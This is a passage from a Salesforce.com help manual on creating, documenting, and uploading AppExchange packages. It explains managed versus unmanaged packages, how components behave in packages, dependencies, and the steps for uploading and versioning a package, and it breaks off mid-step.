User Permissions Needed


To create packages: “Create AppExchange Packages”
To upload packages to the AppExchange: “Upload AppExchange Packages”

A package is a container for something as small as an individual component or as large as a set of related apps. After you create
a package, you can distribute it to other Salesforce.com users and organizations, including those outside your company.
Packages come in two forms—unmanaged and managed:
Unmanaged packages
Can be used for a onetime distribution or migration of components to one or more Salesforce.com organizations. Once
the components are distributed in an unmanaged package, the developer loses all control over the components and the
installers can alter them as they see fit. Unmanaged packages are not upgradeable and are typically free. They are useful
for distributing application templates to provide developers with the basic building blocks for an application.

Managed packages
A collection of application components that are posted as a unit on AppExchange, and are associated with a namespace
and possibly a License Management Organization. A package must be managed for it to support upgrades. An organization
can create a single managed package that can be downloaded and installed by many different organizations. They differ
from unmanaged packages in that some components are locked, allowing the managed package to be upgraded later.
Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed packages
obfuscate certain components (like Apex) on subscribing organizations, so as to protect the intellectual property of the
developer.
Managed packages are ideal when you are building an app that you have plans to upgrade and sell. Managed packages
also offer license management and intellectual property protection.

The following definitions illustrate these concepts:

907
Create Overview of Packages

Figure 3: Unmanaged and Managed Packages

Components
A component is one constituent part of a package. A component defines an item, such as a custom object or a custom
field. You can combine components in a package to produce powerful features or applications. In an unmanaged package,
components are not upgradeable. In a managed package, some components can be upgraded while others cannot.
For a list of all the components that can be included in a package, see Packageable Components on page 945.

Attributes
An attribute is a field on a component, such as the name of an email template or the Allow Reports checkbox on a
custom object. On a non-upgradeable component in either an unmanaged or managed package, attributes are editable
by both the developer and the subscriber. On an upgradeable component in a managed package, some attributes can be
edited by the developer, some can be edited by the subscriber, and some are locked, meaning they cannot be edited by
either the developer or subscriber.
For information on which attributes are editable for each component, see Component Attributes in Managed Packages
on page 956.

Packages consist of one or more Salesforce.com components, which, in turn, consist of one or more attributes. Components
and their attributes behave differently in managed and unmanaged packages.
If you plan to distribute an app, it is important to consider packaging throughout the development process. For example:

• While creating your app, consider how components and their attributes behave in different packages and Salesforce.com
editions.
• While preparing your app for distribution, consider how you want to release it to your customers.
• While installing a package, consider your organization's security and license agreements.

It is also helpful to familiarize yourself with general packaging information, such as:

• Package Distribution FAQs


• Glossary

See Also:
Managing Packages
Component Behavior in Packages
Preparing Your Apps for Distribution

908
Create Overview of Packages

Creating Apps for Distribution


If you intend to share an app with other Salesforce.com users, consider how distribution affects your app and its components
from the start of the app creation process. The sections below provide information about how to build apps so they can be
distributed successfully.

• Apps Overview
• App Design for Distribution
• App Dependencies
• Field Operational Scope in packaged apps
• Packageable Components
• Component Attributes in Managed Packages
• Salesforce.com Editions and Limits
• User Documentation
• Security
• Upgrades
• Extensions

Component Behavior in Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create AppExchange packages: “Create AppExchange Packages”

When building an app for distribution, it is important to consider how packaging affects your app and its components. This
section contains guidelines and information on special behaviors in packages. Use these guidelines to help you determine what
to include in your packages, how to design your app, and how to distribute your packages (managed or unmanaged).
Note:

• For more information on the properties of each component in packages, see the packaged components properties
table on page 946. For more information on the attributes of each component in packages, see the component
attributes table on page 956.
• Component names must be unique within an organization. To ensure that your component names do not conflict
with those in an installer's organization, use a managed package so that all of your component names contain your
namespace prefix.

Analytic Snapshot
Developers of managed packages must consider the implications of introducing analytic snapshots that reference reports
released in a previous version of the package. If the subscriber deleted the report or moved the report to a personal folder,
the analytic snapshot referencing the report will not be installed, even though the Package Installation page may indicate
that it will be. Also, if the subscriber has modified the report, that report may return results impacting the information

909
Create Overview of Packages

displayed by the analytic snapshot. As a best practice, the developer should release an analytic snapshot and the related
reports in the same version.
Custom objects are developer-controlled so analytic snapshot field mappings could become invalid when the package is
upgraded. For example, if the developer deletes a custom field included in the field mapping, it would become invalid.
Analytic snapshots can be created, installed, and run with invalid mappings as long as one valid mapping exists.
Since the running user is selected by the subscriber, some analytic snapshot field mappings could become invalid if the
running user does not have access to source or target fields.

Apex Classes or Triggers

Any Apex that is included as part of a Force.com AppExchange package must have at least 75% cumulative test coverage.
Each trigger must also have some test coverage. When you upload your package to AppExchange, all tests are run to
ensure that they run without errors. In addition, all tests are run when the package is installed in the installer's organization.
The installer can decide whether or not to install the package if any tests fail.
Tip: To prevent naming conflicts, Salesforce.com recommends using managed packages for all packages that
contain Apex. This way, all of the Apex objects contain your namespace prefix. For example, if there is an Apex
class called MyHelloWorld and the namespace for your organization is OneTruCode, the class is referenced as
OneTruCode:MyHelloWorld.

Keep the following considerations in mind when including Apex in your package:

• If you are exposing any methods as Web services, include detailed documentation so that subscribers can write external
code that calls your Web service.
• If an Apex class references a custom label, and that label has translations, you must explicitly package the individual
languages desired in order for those translations to be included in the package.
• If you reference a custom object's sharing object (such as MyCustomObject__share) in Apex, this adds a sharing
model dependency to your package. You must set the organization-wide sharing default access level for the custom
object to Private in order for other organizations to install your package successfully. For more information on setting
the sharing model, see Managing the Sharing Settings on page 196.
• The code contained in an Apex script that is part of a managed package is automatically obfuscated and cannot be
viewed in an installing organization. The only exceptions are methods declared as global, meaning that the method
signatures can be viewed in an installing organization.
• You can use the deprecated annotation in Apex to identify methods, classes, exceptions, enums, interfaces, and
variables that can no longer be referenced in subsequent releases of the managed package in which they reside. This
is useful when you are refactoring code in managed packages as the requirements evolve. After you upload another
package version as Managed - Released, new subscribers that install the latest package version cannot see the deprecated
elements, while the elements continue to function for existing subscribers and API integrations.
• An Apex script contained in an unmanaged package that explicitly references a namespace cannot be uploaded.

Apex Sharing Reasons


Apex sharing reasons can be added directly to a package, but are only available for custom objects.

Custom Fields

• Picklist field values for custom fields can be added, edited, or deleted by subscribers. A developer should carefully
consider this when explicitly referencing a picklist value in code. Picklist values can be added or deleted by the

910
Create Overview of Packages

developer. During a package upgrade, no new picklist values are installed into the subscriber's organization for existing
fields. Any picklist values deleted by the developer are still available in the subscriber's organization.
• Auto-number type fields and required fields cannot be added after the object is uploaded in a managed-released
package.
• Developers can add universally required custom fields to managed packages as long as they have default values.

Custom Labels
If a label is translated, the language must be explicitly included in the package in order for the translations to be included
in the package. Subscribers can override the default translation for a custom label.

Custom Objects

• If a developer enables the Allow Reports or Allow Activities attributes on a packaged custom object, the
subscriber's organization also has these features enabled during an upgrade. Once enabled in a managed-released
package, the developer and the subscriber cannot disable these attributes.
• Standard button and link overrides are not packageable. The subscriber must manually configure these settings after
installation.

Custom Report Types


A developer can edit a custom report type in a managed package after it is released. Subscribers automatically receive
these changes when they install a new version of the managed package. However, developers cannot remove objects or
fields from the report type once the package is released.

Custom Settings

• If a custom setting is contained in a managed package, and the Visibility is specified as Package-Private, the
custom setting is not contained in the list of components for the package on the subscriber's organization. All data
for the custom setting is obfuscated from the administrator.

Custom Tabs

• The Tab Style for a custom tab must be unique within your app. However, it does not need to be unique within
the organization where it is installed. A custom tab's style will not conflict with an existing custom tab in the installer's
environment.
• If you want to provide custom tab names in different languages, see Renaming Tab and Field Labels on page 407.
Subscribers cannot edit custom tabs in a managed package.

Customer Portal and Partner Portal


Packages referring to Customer Portal or partner portal fields are supported. The subscriber installing the package must
have the respective portal enabled to install the package.

Dashboard Components
Developers of managed packages must consider the implications of introducing dashboard components that reference
reports released in a previous version of the package. If the subscriber deleted the report or moved the report to a personal
folder, the dashboard component referencing the report is dropped during install. Also, if the subscriber has modified
the report, that report may return results impacting what information is displayed by the dashboard component. As a
best practice, the developer should release a dashboard and the related reports in the same version.

911
Create Overview of Packages

Divisions

• When divisions are enabled on a custom object in a package, the subscribing organization must have the divisions
feature enabled to install the package.
• Setting the division filter on a report does not cause a dependency. The setting is dropped when installed into the
subscriber's organization.
• Summarizing by the object's division field—for example, Account Division—in a report causes a dependency.
• If the object's division field in a report is included as a column, and the subscriber's organization does not support
divisions on the object, then the column is dropped during install.
• If you install a custom report type that includes an object's division field as a column, that column is dropped if the
organization does not support divisions.

Field Dependencies

• Developers and subscribers can add, change, or remove field dependencies.


• If the developer adds a field dependency, it is added during installation unless the subscriber has already specified a
dependency for the same field.
• If a developer removes a dependency, this change is not reflected in the subscriber's organization during an upgrade.
• If the developer introduces a new picklist value mapping between the dependent and controlling fields, the mapping
is added during an upgrade.
• If a developer removes a picklist value mapping, the change is not reflected in the subscriber's organization during
an upgrade.

Folders

• Components that Salesforce.com stores in folders, such as documents, cannot be added to packages when stored in
personal and unfiled folders. Put documents, reports, and other components that Salesforce.com stores in folders in
one of your publicly accessible folders.
• Components such as documents, email templates, reports, or dashboards are stored in new folders in the installer’s
organization using the publisher’s folder names. Give these folders names that indicate they are part of the package.
• If a new report, dashboard, document, or email template is installed during an upgrade, and the folder containing
the component was deleted by the subscriber, the folder is re-created. Any components in the folder that were
previously deleted are not restored.
• The name of a component contained in a folder must be unique across all folders of the same component type,
excluding personal folders. Components contained in a personal folder must be unique within the personal folder
only.

Home Page Components


When you package a custom home page layout, all the custom home page components included on the page layout are
automatically added. Standard components such as Messages & Alerts are not included in the package and do not
overwrite the installer's Messages & Alerts. To include a message in your custom home page layout, create an HTML
Area type custom Home tab component that contains your message and add it to your custom home page layout.

Home Page Layouts


Once installed, your custom home page layouts are listed with all the subscriber's home page layouts. Distinguish them
by including the name of your app in the page layout name.

912
Create Overview of Packages

List Views
List views associated with queues cannot be included in a package.

Multi-Currency

• If a subscriber installs a report or custom report type that includes an object's currency field as a column, that column
is dropped if the subscriber's organization is not enabled for multiple currencies.
• Referencing an object's currency field in a report's criteria—for example, Account Currency—causes a dependency.
• Summarizing by an object's currency field in a report causes a dependency.
• Using a currency designation in a report criteria value—for example, “Annual Revenue equals GBP 100”—does not
cause a dependency. The report generates an error when run in the installers organization if it does not support the
currency.
• If an object's currency field in a report is included as a column and the subscriber's organization is not enabled for
multiple currencies, that column is dropped during install.
• If a subscriber installs a custom report type that includes an object's currency field as a column, that column is dropped
if the organization is not enabled for multiple currencies.

Page Layouts
The page layout of the person uploading a package is the layout used for Group and Professional Edition organizations
and becomes the default page layout for Enterprise, Unlimited, and Developer Edition organizations.
Page layouts should be packaged alongside complimentary record types if the layout is being installed on an existing
object. Otherwise, the installed page layouts must be manually applied to profiles.
If a page layout and a record type are created as a result of installing a package, then the uploading user’s page layout
assignment for that record type is assigned to that record type for all profiles in the subscriber organization unless a
profile is mapped during an install or upgrade.

Person Accounts
Packages referring to fields related to person accounts on the Account object—for example, Is Person Account,
First Name, Last Name, or Title—cannot be uploaded.

Picklist Values

• Subscribers can rename or delete picklist field values. A developer should carefully consider this when explicitly
referencing a picklist field value in Apex.
• Picklist field values can be added or deleted in the developer's organization. Upon upgrade, no new values are installed.
Any values deleted by the developer are still available in the subscriber's organization until the subscriber deletes
them.

Profile Settings
Profile settings can be added to a managed package at any time, even after it is Managed - Released

Record Types

• If record types are included in the package, the subscriber's organization must support record types to install the
package.
• When a new picklist value is installed, it is associated with all installed record types according to the mappings
specified by the developer. A subscriber can change this association.

913
Create Overview of Packages

• Referencing an object's record type field in a report's criteria—for example, Account Record Type—causes a
dependency.
• Summarizing by an object's record type field in a report's criteria—for example, Account Record Type—causes
a dependency.
• If an object's record type field is included as a column in a report , and the subscriber's organization is not using
record types on the object or does not support record types, then the column is dropped during install.
• If you install a custom report type that includes an object's record type field as a column, that column is dropped if
the organization does not support record types or the object does not have any record types defined.

Reports
If a report includes elements that cannot be packaged, those elements will be dropped or downgraded, or the package
upload will fail. For example:

• Hierarchy drill-downs are dropped from activity and opportunities reports.


• Filters on unpackageable fields are automatically dropped (for example, in filters on standard object record types).
• Package upload fails if a report includes advanced filter conditions on an unpackageable field (for example, in filters
on standard object record types).
• Lookup values on the Select Campaign field of standard campaign reports are dropped.
• Reports are dropped from packages if they have been moved to a private folder or to the Unfiled Public Reports
folder.
• When a package is installed into an organization that does not have Chart Analytics 2.0:

- Combination charts are downgraded instead of dropped. For example, a combination vertical column chart with
a line added is downgraded to a simple vertical column chart; a combination bar chart with additional bars is
downgraded to a simple bar chart.
- Unsupported chart types, such as donut and funnel, are dropped.

Translation Workbench

• If you have enabled the translation workbench and added a language to your package, any associated translated values
are automatically packaged for the appropriate components in your package. Make sure that you have provided
translations for all possible components.
• An installer of your package can see which languages are supported on the package detail page. The installer does
not need to enable anything for the packaged language translations to appear. The only reason installers may want
to enable the translation workbench is to change translations for unmanaged components after installation, override
custom label translations in a managed package, or to translate into additional languages.
• If you are designing a package extension, you can include translations for the extension components but not additional
translations for components in the base package.

Validation Rules
For custom objects that are packaged, any associated validation rules are implicitly packaged as well.

Workflow

• Salesforce.com prevents you from uploading workflow alerts that have a public group, partner user, or role recipient.
Change the recipient to a user before uploading your app. During installation, Salesforce.com replaces that user with
the user installing the app, and the installer can customize it as necessary.

914
Create Overview of Packages

• Salesforce.com prevents you from uploading workflow field updates that change an Owner field to a queue. Change
the updated field value to a user before uploading your app. During installation, Salesforce.com replaces that user
with the user installing the app, and the installer can customize it as necessary.
• Salesforce.com prevents you from uploading workflow rules, field updates, and outbound messages that reference a
record type on a standard or managed-installed object.
• Salesforce.com prevents you from uploading workflow tasks that are assigned to a role. Change the Assigned To
field to a user before uploading your app. During installation, Salesforce.com replaces that user with the user installing
the app, and the installer can customize it as necessary.
• You can package workflow rules and all associated workflow actions, such as alerts and field updates. However, any
time-based triggers are not included in the package. Notify your installers to set up any time-based triggers that are
essential to your app.
• Workflow alerts, field updates, outbound messages, and tasks can be protected by the developer. For more information
on protected components, see Protected Components on page 916.
• Developers can associate or disassociate workflow actions with a workflow rule at any time. These changes, including
disassociation, are reflected in the subscriber's organization upon install. In managed packages, a subscriber cannot
disassociate workflow actions from a workflow rule if it was associated by the developer.
• References to a specific user in workflow actions, such as the email recipient of a workflow email alert, are replaced
by the user installing the package. Workflow actions referencing roles, public groups, account team, sales team, or
case team roles may not be uploaded.
• References to an organization-wide address, such as the From email address of a workflow email alert, are reset
to Current User during installation.
• On install, all workflow rules are inactive. The subscriber must deploy the package or individually activate the workflow
rules.

See Also:
Overview of Packages
Preparing Your Apps for Distribution
Developing App Documentation
Assigning Force.com AppExchange Publishers

Component Availability After Deployment


Many components have an Is Deployed attribute that controls whether they are available for end users. After installation,
certain components are immediately available if they were available in the developer's organization. Other components are
not available by default. They must be activated by using the package deploy process, or they can be deployed individually.
The following components are available by default based on the developer's setting:

• Apex triggers
• Email templates
• Folders
Note: Folders shared with specific users or groups are installed with this option selected, however, no users or
groups are selected in the subscriber's organization.

• Letterheads

915
Create Overview of Packages

• Record types
• Validation rules

The following components are not available by default, and must be activated using the package deploy process or they can
be deployed (activated) individually:

• Custom objects
• Custom report types
• Workflow rules

For more information, see Deploying Installed Packages on page 1095.

Protected Components
Developers can mark certain components as protected. Protected components cannot be linked to or referenced by components
created in a subscriber organization. A developer can delete a protected component in a future release without worrying about
failing installations. However, once a component is marked as unprotected and is released globally, the developer cannot delete
it. Developers can mark the following components as protected in managed packages:

• Custom labels
• Custom links (for Home page only)
• Workflow alerts
• Workflow field updates
• Workflow outbound messages
• Workflow tasks

Intellectual Property Considerations


The following information is important when considering your intellectual property and its protection.

• Only publish package components that are your intellectual property and that you have the rights to share.
• Once components are available on Force.com AppExchange, you cannot recall them from anyone who has installed them.
• The information in the components you package and publish may be visible to users on Force.com AppExchange. Use
caution when adding your code to a custom s-control, formula, Visualforce page, or any other component that you cannot
hide in your app.
• The code contained in an Apex script that is part of a managed package is automatically obfuscated and cannot be viewed
in an installing organization. The only exceptions are methods declared as global, meaning that the method signatures can
be viewed in an installing organization.
• If a custom setting is contained in a managed package, and the Visibility is specified as Package-Private, the custom
setting is not contained in the list of components for the package on the subscriber's organization. All data for the custom
setting is obfuscated from the administrator.

916
Create Overview of Packages

Developing App Documentation

Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit custom tabs: “Customize Application”

Salesforce.com recommends publishing your app on Force.com AppExchange with the following types of documentation:
About Tab
Most apps are installed by an administrator. Therefore, most users are not aware of an app until it is deployed. After
deployment, an About tab is very useful to users and can give them an introduction to the entire app.
An About tab is a custom tab included with an app on AppExchange. It provides users with:

• A description of the app


• Training and support information

Providing users with training options is the best way to ensure customer adoption of your app. Similar to the way that
salesforce.com provides free training, you should provide user training for commercial applications either through webinars
or recorded presentations. Include a section in your About tab that covers how to get training on the app.
If users of your app call salesforce.com for assistance, we will try to determine if the issue resides with our application or
yours. We can only support our application, our standard user interface, and the installation of apps from AppExchange.
If the customer is asking about functionality that is unique to your app, we will ask them to examine the About tab for
information on how to get support for your app. We expect commercial apps to provide support that is similar to the
support salesforce.com offers and that the About tab contain contact information for this support.
Note: An About tab adds to an organization's total number of custom tabs. Consider Salesforce.com Editions
and Limits for each Edition before creating an About tab that could make an installer exceed the limit of allowed
custom tabs.

Configure Option
You can include a Configure option for installers of your app when they view AppExchange installs and package detail
pages in their Salesforce.com organization. This option can link to installation and configuration details such as:

• Adding custom fields and custom links to standard objects


• Requesting or executing an end user license agreement
• Provisioning the external service of a composite app

The Configure option is included in your package as a custom link. You can create a custom link for your home page
layouts and add it to your package. To do this:

1. Create a custom link to a URL that contains configuration information or an s-control or Visualforce page that
implements configuration. When you create your custom link, set the display properties to Open in separate
popup window so that the user returns to the same Salesforce.com page when done.

917
Create Overview of Packages

2. When you create the package, choose this custom link in the Configure Custom Link field of your package
detail.

Multimedia Presentation
If you are publishing a commercial app, we recommend compiling a presentation, such as a Breeze presentation, to
demonstrate its attributes.

Data Sheet
Give installers the fundamental information they need to know about your app before they install.

Customization and Enhancement Guide


Let installers know what they should customize after installation as part of their implementation.

Custom Tab Splash Page


You can add a splash page to any custom tabs in your app. Custom splash pages can include information about using
the custom tab and custom object with links to additional information. They include a Continue button and a Don’t
show me this again button.
Create the splash page for your app in the form of a custom link for the Home tab via Setup ➤ Customize ➤ Home
➤ Custom Links. Custom links can be a URL to an HTML page or a custom s-control or Visualforce page. Create
your custom splash page as a Home tab custom link and then add it as the splash page option to any custom tabs you
plan to upload to AppExchange.

Custom Help
You can provide custom help for your custom object records and custom fields.
Tip: To give your custom help a professional tone using Salesforce.com terminology, follow the Salesforce.com
Style Guide for Documentation and User Interface Text. To use the Salesforce.com styles, use Visualforce to
design your pages.

See Also:
Overview of Packages
Assigning Force.com AppExchange Publishers

Assigning Force.com AppExchange Publishers

Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign permissions: “Customize Application”

Users that publish packages on Force.com AppExchange must have the following user permissions:

918
Create Overview of Packages

Create Force.com AppExchange packages


Allows a user to create packages and add components to it.

Upload Force.com AppExchange Packages


Allows a user to upload and register or publish packages to Force.com AppExchange.

The System Administrator profile automatically has both these permissions, as well as any custom profile with the “Customize
Application” and “Modify All Data” permissions. Determine which of your users should have these permissions and add them
to the appropriate user profiles.

See Also:
Overview of Packages
Developing App Documentation

Preparing Your Apps for Distribution


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages: “Create AppExchange Packages”
To upload packages: “Upload AppExchange Packages”

An app can contain many different components and you can create, upload, and register your apps on your own timeline. To
group components in a container to upload to Force.com AppExchange, create a package and add components to the package.
A package is the container for the app that you must use to upload all its components together. Before you begin, determine
if you want to upload a managed or unmanaged package. For more information about managed packages, see About Managed
Packages on page 935.

1. Create a package:

a. Click Setup ➤ Create ➤ Packages.


b. Click New.
c. Enter a name for your package. This does not have to be the same name that appears on AppExchange.
d. Optionally, choose a custom link from the Configure Custom Link field to display configuration information to
installers of your app. You can select a predefined custom link to a URL or s-control that you have created for your
home page layouts; see the Configure Option on page 917. The custom link displays as a Configure link within
Salesforce.com on the Force.com AppExchange Downloads page and app detail page of the installer's organization.
e. Optionally in the Apex Exception Notification Recipient field, enter the username of the person who
should receive an email notification if an exception occurs in an Apex script that is not caught by the script. If you do
not specify a username, all uncaught exceptions generate an email notification that is sent to salesforce.com. This is
only available for managed packages. For more information, see Handling Apex Exceptions in Managed Packages on
page 1001.

919
Create Overview of Packages

Note: Apex can only be packaged from Developer, Enterprise, and Unlimited Edition organizations.

f. Optionally, enter a description that describes the package. You will have a chance to change this description before you
upload it to AppExchange.
g. Click Save.

2. Salesforce.com sets your package API access privileges to Unrestricted. You can change this setting to further restrict
API access of Salesforce.com components in the package. For more information, see Managing API and Dynamic Apex
Access in Packages on page 787.
3. Add the necessary components for your app.

a. Click Add.
b. From the drop-down list, choose the type of component you want to add to your package.

• At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
• If available, click the Next Page (or Previous Page) link to go to the next or previous set of components.
• If available, click fewer or more at the bottom of the list to view a shorter or longer display list.

c. Select the components you want to add.

Note: Some components cannot be added to Managed - Released packages. For a list of these components,
see Packageable Components on page 945.
S-controls cannot be added to packages with restricted API access.

d. Click Add To Package.

Repeat these steps until you have added all the components you want in your package.
Note: Some related components are automatically included in the package even though they may not display in
the Package Components list. For example, when you add a custom object to a package, its custom fields, page
layouts, and relationships with standard objects are automatically included. For a complete list of components
Salesforce.com automatically includes, see Packageable Components.

4. Optionally, click Show dependencies and review a list of components that rely on other components, permissions, or
preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an
organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components
enabled or installed. See Understanding Dependencies on page 923 for more information on dependencies. Click Done to
return to the Package detail page.
Note: You cannot upload packages that contain any of the following:

• References to person accounts, such as an s-control or custom field referencing person accounts.
• Workflow rules or workflow actions (such as field updates or outbound messages) that reference record
types.
• Reports that reference record types on standard objects.

5. Click Upload.

920
Create Overview of Packages

Note: If you are creating a managed package to publish on AppExchange, you must certify your application before
you package it. For more information, seeSecurity and Trust on AppExchange.

On the Upload Package page, do the following:

a. Enter a Version Name, such as June 2009. This field is required for managed and unmanaged packages. The version
name is the marketing name for a specific release of a package and allows you to create a more descriptive title for the
version.
b. Enter a Version Number for the upload, such as 1.0. The format is majorNumber.minorNumber.patchNumber.
The version number represents a release of a package. This field is required for managed and unmanaged packages.
For a managed package, the version number corresponds to a Managed - Released upload. All beta uploads use the
same version number until you upload a Managed - Released package version with a new version number. For example,
the following is a sequence of version numbers for a series of uploads.

Upload Type Version Notes


Sequence Number
First upload Managed - Beta 1.0 The first Managed - Beta upload.
Second Managed - Released 1.0 A Managed - Released upload. Note that the version number
upload does not change.
Third upload Managed - Released 1.1 Note the change of minor release number for this Managed
- Released upload.
Fourth upload Managed - Beta 2.0 The first Managed - Beta upload for version number 2.0.
Note the major version number update.
Fifth upload Managed - Released 2.0 A Managed - Released upload. Note that the version number
does not change.

Note:
You may see a patchNumber value associated with a package version. This feature is available only through a
pilot program.

c. For managed packages, select a Release Type:

• Choose Managed - Released to upload an upgradeable version. After upload, some attributes of Salesforce.com
components are locked. For a list of locked attributes, see Component Attributes in Managed Packages on page
956.
• Choose Managed - Beta if you want to upload a version of your package to a small sampling of your audience for
testing purposes. You will still be able to change the components and upload additional beta versions. For information
on beta versions, see Beta Versions of Managed Packages on page 944.
Note: Beta packages can only be installed in Developer Edition or sandbox organizations.

d. Change the Description, if necessary.

921
Create Overview of Packages

e. Optionally, enter and confirm a password to share the package privately with anyone who has the password. Do not
enter a password to make the package available to anyone on AppExchange and share your package publicly.
f. Salesforce.com automatically selects the requirements it finds. In addition, select any other required components from
the Package Requirements and Object Requirements sections to notify installers of any requirements for this
package.
g. Click Continue.

6. Once your upload is complete you can do any of the following.

• Click Change Password to change the password option.


Tip: If you have forgotten the password for an upload, contact salesforce.com and provide the ID listed on the
Edit Security page.

• Click Deprecate to prevent new installations of this package while allowing existing installations to continue operating.
Note: You cannot deprecate the most recent version of an uploaded managed package.

When you deprecate a package, remember to remove it from AppExchange as well. See “Removing Apps from
AppExchange” in the Force.com AppExchange online help.
• Click Undeprecate to make a deprecated upload available for installation again.

You will receive an email that includes an installation link when your package has been uploaded successfully. Wait a few
moments before clicking the installation link or distributing it to others, as it may take a few minutes for it to become active.
Note: If you uploaded from your Salesforce.com production organization, notify installers who want to install it in a
sandbox organization to replace the “www.salesforce.com” portion of the installation link with “test.salesforce.com”.
Likewise, if you uploaded from a sandbox organization, notify installers who want to install it in their Salesforce.com
production organization to replace the “test.salesforce.com” portion of the installation link with “www.salesforce.com”.
If you published an package from your sandbox, you will only be able to manage it until you create a new copy. Once
you create a new copy of your sandbox, you will no longer be able to manage packages that you uploaded from it.

See Also:
Overview of Packages
Component Behavior in Packages
About Managed Packages
What is a Package Version?
Understanding Dependencies
Packageable Components
Managing Uploads
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages

922
Create Overview of Packages

Understanding Dependencies

AppExchange packages and Visualforce are available in: Group, Professional, Enterprise, Unlimited, and Developer
Editions
Apex available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload packages: “Upload AppExchange Packages”
To view Apex dependencies: “Author Apex”
To view Visualforce dependencies: “Developer Mode”

Created when one component references another component, permission, or preference, which must exist for the component
to be valid. Force.com tracks certain dependencies, including:

• Organizational dependencies, such as whether multicurrency or campaigns are enabled


• Component-specific dependencies, such as whether particular record types or divisions exist
• References to both standard and custom objects or fields

Packages, Apex classes, Apex triggers, Visualforce components, and Visualforce pages can have dependencies on components
within an organization. These dependencies are recorded on the Show Dependencies page.
Dependencies are important for packaging because any dependency in a component of a package is considered a dependency
of the package as a whole.
Note: An installer’s organization must meet all dependency requirements listed on the Show Dependencies page (with
the exception of Reports) or else the installation will fail. For example, the installer's organization must have divisions
enabled to install a package that references divisions.

Dependencies are important for Apex classes or triggers because any component on which a class or trigger depends must be
included with the class or trigger when the code is deployed or packaged.
In addition to dependencies, the operational scope is also displayed on the Show Dependencies page. The operational scope is
a table that lists any data manipulation language (DML) operations (such as insert or merge) that an Apex script executes
on a specified object. The operational scope can be used when installing an app to determine the full extent of the app's database
operations.
To view the dependencies and operational scope for a package, Apex class, Apex trigger, or Visualforce page:

1. Navigate to the appropriate component:

• For packages, click Setup ➤ Create ➤ Packages.


• For Apex classes, click Setup ➤ Develop ➤ Apex Classes.
• For Apex triggers on standard objects, click Setup ➤ Customize, click the name of the object, and then click Triggers.
• For Apex triggers on custom objects, click Setup ➤ Create, click the name of the object, and then click Triggers.
• For Visualforce pages, click Setup ➤ Develop ➤ Pages.

2. Select the name of the component.

923
Create Overview of Packages

3. Click Show Dependencies.

If a list of dependent objects displays, click Fields to access the field-level detail of the operational scope. The field-level detail
includes information such as whether a field is updated by an Apex script. For more information, see Field Operational Scope
on page 924.
Packages, Apex scripts, and Visualforce pages can be dependent on many components, including but not limited too:

• Custom field definitions


• S-controls
• Validation formulas
• Reports
• Record types
• Apex scripts
• Visualforce pages and components

For example, if an s-control includes a reference to a multicurrency field, such as {!contract.ISO_code}, that s-control
has a dependency on multicurrency. If a package contains this s-control, it also has a dependency on multicurrency. Any
organization that wants to install this package must have multicurrency enabled.

See Also:
Preparing Your Apps for Distribution
Packageable Components
Managing Uploads
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages
Field Operational Scope

Field Operational Scope

AppExchange packages and Visualforce are available in: Group, Professional, Enterprise, Unlimited, and Developer
Editions
Apex available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload packages: “Upload AppExchange Packages”
To view Apex dependencies: “Author Apex”
To view Visualforce dependencies: “Developer Mode”

The fields displayed on the Fields Operational Scope page are referenced through the operational scope:

• If the Is Updated checkbox is selected, the field is updated using a database manipulation language (DML) operation,
such as insert or update. For more information, see Understanding Dependencies on page 923.

924
Create Overview of Packages

If the Is Updated checkbox is not selected, the field is only referenced within the operational scope. For example, it may
be included as part of a select statement.
• If the External ID checkbox is selected, the field acts as an External ID. An external ID field contains unique record
identifiers from a system outside of Salesforce.com. You can use the Sidebar Search to find external ID values, and you
can use the field in the Force.com API. When using the import wizards for custom objects and solutions, you can use this
field to prevent duplicates.

See Also:
Understanding Dependencies

Uploading Packages

Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages: “Create AppExchange packages”
To upload packages: “Upload AppExchange packages”

After you create a package, you can upload it to make it generally available for distribution to other users in your organization.
Note: If you are creating a managed package to publish on AppExchange, you must certify your application before
you package it. To start the certification process, see the article on the salesforce.com Security Review.

To upload a package, click Setup ➤ Create ➤ Packages and select the name of the package you want to upload. From the
package detail page, click Upload. From the Upload Package page, do the following:

1. Enter a Version Name, such as June 2009. This field is required for managed and unmanaged packages. The version
name is the marketing name for a specific release of a package and allows you to create a more descriptive title for the
version.
2. Enter a Version Number for the upload, such as 1.0. The format is majorNumber.minorNumber.patchNumber.
The version number represents a release of a package. This field is required for managed and unmanaged packages. For a
managed package, the version number corresponds to a Managed - Released upload. All beta uploads use the same version
number until you upload a Managed - Released package version with a new version number. For example, the following
is a sequence of version numbers for a series of uploads.

Upload Type Version Notes


Sequence Number
First upload Managed - Beta 1.0 The first Managed - Beta upload.
Second upload Managed - Released 1.0 A Managed - Released upload. Note that the version number
does not change.
Third upload Managed - Released 1.1 Note the change of minor release number for this Managed -
Released upload.

925
Create Overview of Packages

Upload Type Version Notes


Sequence Number
Fourth upload Managed - Beta 2.0 The first Managed - Beta upload for version number 2.0. Note
the major version number update.
Fifth upload Managed - Released 2.0 A Managed - Released upload. Note that the version number
does not change.

Note:
You may see a patchNumber value associated with a package version. This feature is available only through a pilot
program.

3. For managed packages, select a Release Type:

• Choose Managed - Released to upload an upgradeable version. After upload, some attributes of Salesforce.com
components are locked. For a list of locked attributes, see Component Attributes in Managed Packages on page 956.
• Choose Managed - Beta if you want to upload a version of your package to a small sampling of your audience for testing
purposes. You will still be able to change the components and upload additional beta versions. For information on beta
versions, see Beta Versions of Managed Packages on page 944.
Note: Beta packages can only be installed in Developer Edition or sandbox organizations.

4. Change the Description, if necessary.


5. Optionally, enter and confirm a password to share the package privately with anyone who has the password. Do not enter
a password to make the package available to anyone on AppExchange and share your package publicly.
6. Salesforce.com automatically selects the requirements it finds. In addition, select any other required components from the
